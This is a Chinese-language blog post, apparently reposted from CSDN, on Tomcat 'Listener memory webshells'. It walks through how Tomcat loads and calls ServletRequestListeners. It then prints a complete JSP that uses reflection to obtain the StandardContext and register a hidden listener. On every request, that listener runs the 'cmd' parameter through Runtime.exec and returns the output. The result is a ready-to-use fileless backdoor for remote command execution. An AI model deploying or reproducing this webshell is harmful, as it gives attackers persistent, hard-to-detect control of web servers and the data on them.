初探Listener内存马

2024-01-01 10:31:40

Listener基础

配置Listener

.

xml配置

流程分析

读取配置文件

读取web.xml,处理后将信息存储在webXml中

配置context

直接遍历并添加至addApplication中

以上步骤就是将webxml中的listener相关的数据添加到ApplicationListener

接下来直接跟进到listenerStart

获取所有listeners

反射生成了一个testListener对象,及我们自定义的Listener

遍历results中的自定义Listener并添加到eventListeners

将eventListeners中的内容添加到applicationEventListenersList属性中,而后期tomcat使用Listener会从applicationEventListenersList中取出

调用过程

在自定义的Listener的requestDestroyed下断点

可以发现tomcat会自动调用fireRequestDestroyEvent,因此我们进入fireRequestDestroyEvent

这里直接获取applicationEventListenersList属性

遍历applicationEventListenersList并强制转为内容为ServletRequestListener类型

这里直接调用 requestDestroyed方法

对应这自定义的Listener

接下来如何动态添加Listener 在上面分析,tomcat是将web.xml中的信息取出在调用 addApplication,将信息添加至applicationListeners,然后再由listenerStart反射生成实例化的Listener,并在需要调用前调用fireRequestDestroyEvent,在间接调用 requestDestroyed方法,但是分析了过程我们依旧无法主动添加Listener因为applicationListeners接收的是字符串而非一个对象。不过天无绝人之路,StandardContext提供了另一个方法 addApplicationEventListener,可以直接添加一个Lisener对象到applicationEventListenersList

由于ServletRequestEvent至提供了ServletRequest,并没有提供Response,因此需要通过反射获取 Response

内存马

<%@?page?contentType="text/html;charset=UTF-8"?language="java"?%>
<html>
<head>
????<title>Title</title>
</head>
<body>
<%@?page?import="org.apache.catalina.core.StandardContext"?%>
<%@?page?import="java.lang.reflect.Field"?%>
<%@?page?import="org.apache.catalina.connector.Request"?%>
<%@?page?import="java.io.InputStream"?%>
<%@?page?import="java.util.Scanner"?%>
<%@?page?import="java.io.IOException"?%>
<%@?page?import="java.io.BufferedInputStream"?%>
<%@?page?import="org.apache.catalina.connector.Response"?%>

<%!
????public?class?DemoListener?implements?ServletRequestListener{

????????public?void?requestDestroyed(ServletRequestEvent?sre)?{
????????????org.apache.catalina.connector.RequestFacade?req?=?(org.apache.catalina.connector.RequestFacade)sre.getServletRequest();
????????????Field?requestField?=?null;
????????????try?{
????????????????requestField?=?Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
????????????}?catch?(NoSuchFieldException?e)?{
????????????????e.printStackTrace();
????????????}?catch?(ClassNotFoundException?e)?{
????????????????e.printStackTrace();
????????????}
????????????requestField.setAccessible(true);
????????????Request?request?=?null;
????????????try?{
????????????????request?=?(Request)?requestField.get(req);
????????????}?catch?(IllegalAccessException?e)?{
????????????????e.printStackTrace();
????????????}
????????????Response?response?=?request.getResponse();

????????????try?{
????????????????String?cmd?=?request.getParameter("cmd");
????????????????InputStream?is?=?Runtime.getRuntime().exec(cmd).getInputStream();
????????????????BufferedInputStream?bis?=?new?BufferedInputStream(is);
????????????????int?len;
????????????????while?((len?=?bis.read())!=-1){
????????????????????response.getWriter().write(len);
????????????????}
????????????}?catch?(IOException?e)?{
????????????????e.printStackTrace();
????????????}

????????}
????????public?void?requestInitialized(ServletRequestEvent?sre)?{
????????????System.out.println("这里是requestInitialized");
????????}
????}
%>

<%
????Field?reqF?=?request.getClass().getDeclaredField("request");
????reqF.setAccessible(true);
????Request?req?=?(Request)?reqF.get(request);
????StandardContext?context?=?(StandardContext)?req.getContext();
????DemoListener?listener?=?new?DemoListener();
????context.addApplicationEventListener(listener);
%>
</body>
</html>

效果展示

随便访问一个页面

在访问我们的内存马网页 这里我由于代码没有判断cmd是否为空,所以必须输入东西才能正常访问,你懂的

再次访问之前不存在的网页

文章来源:https://blog.csdn.net/2301_80520893/article/details/135275512
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。